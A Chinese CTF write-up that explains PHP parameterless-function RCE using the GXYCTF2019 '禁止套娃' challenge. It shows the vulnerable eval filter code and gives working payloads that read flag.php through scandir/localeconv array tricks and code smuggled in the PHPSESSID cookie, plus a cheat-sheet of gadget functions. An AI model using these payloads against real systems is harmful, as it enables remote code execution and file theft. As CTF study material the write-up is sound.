介绍
无参数RCE的形式如下,即只允许函数“套娃”,不允许传入其他参数。
if(';' === preg_replace('/[^W]+((?R)?)/', '', $_GET['code'])) {
eval($_GET['code']);
}
preg_replace('/[a-z]+((?R)?)/', NULL, $code)
例题「[GXYCTF2019]禁止套娃」
<?php
include("flag.php");
echo "flag在哪里呢?<br>";
$_GET['exp'] = "chr(ord());";
if(isset($_GET['exp'])){
if (!preg_match('/data://|filter://|php://|phar:///i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+((?R)?)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
由于无法传入多余参数来调用函数,我们可以尝试利用与数组有关的函数与rand(),next(),prev()等数组操作函数,从而控制数组的取值。
我们的目标是读取flag.php,因此我们需要一个包含“flag.php”的数组,可以想到利用scandir(".")得到该数组
但由于函数调用必须是无参的,则可以利用 current(localeconv()) 或 pos(localconv()) 来构造小数点,其中localeconv()函数返回了货币设置数组,恰好首元素为小数点字符
通过 exp=print_r(scandir(current(localeconv())))
已经获取到了包含“flag.php”的数组
接下来的工作就将这个字符串提取出来,再执行readfile、show_source、highlight_file、file_get_contents
此外我们可通过eval + Request的一些参数来构造参数
数组利用
// 随机获取
exp=print_r(highlight_file(array_rand(array_flip(scandir(current(localeconv()))))));
// 获取倒数第二个元素
exp=print_r(highlight_file(next(array_reverse(scandir(current(localeconv()))))));
session利用
- eval + url解码,在本题中由于“dec”被过滤,无法使用
由于session_id中不能出现引号,因此通过两次url编码
来解决
exp=eval(urldecode(session_id(session_start())));
PHPSESSID=highlight_file(%2522flag.php%2522)%3B
- eval + chr 拼接
exp=eval(session_id(session_start())));
PHPSESSID=highlight_file(chr(102).chr(108).chr(97).chr(103).chr(46).chr(112).chr(104).chr(112))%3b
// `%3b`为封号,否则eval将无法解析语句,原语句为`eval(highlight_file("flag.php"))`
- eval + $_GET传参
由实验1发现PHPSESSID进制传入引号,从而想到可以使用$_GET[a]
来构造一个密码为a的传值方式,这与$_GET["a"]是等价的
exp=eval(session_id(session_start()));&a=flag.php
PHPSESSID=highlight_file($_GET[a])%3b
- 仅获取字符串
exp=highlight_file(session_id(session_start()));&a=flag.php
PHPSESSID=flag.php
headers利用
- getallheaders()
原理基本一致,本题中“et”被屏蔽因此无法利用
常用函数总结
array_rand()、array_flip()
array_reverse()
next()、prev()、end()、current()、pos()
getallheaders()
chr()、ord()、hex2bin()、
session_id()、session_start()
show_source()、readfile()、highlight_file()、file_get_contents()
current(localeconv())
scandir()、chdir()、getpwd()
next(scandir(current(localeconv())));
chdir(next(scandir(current(localeconv()))));
$_GET、$_POST、$_FILE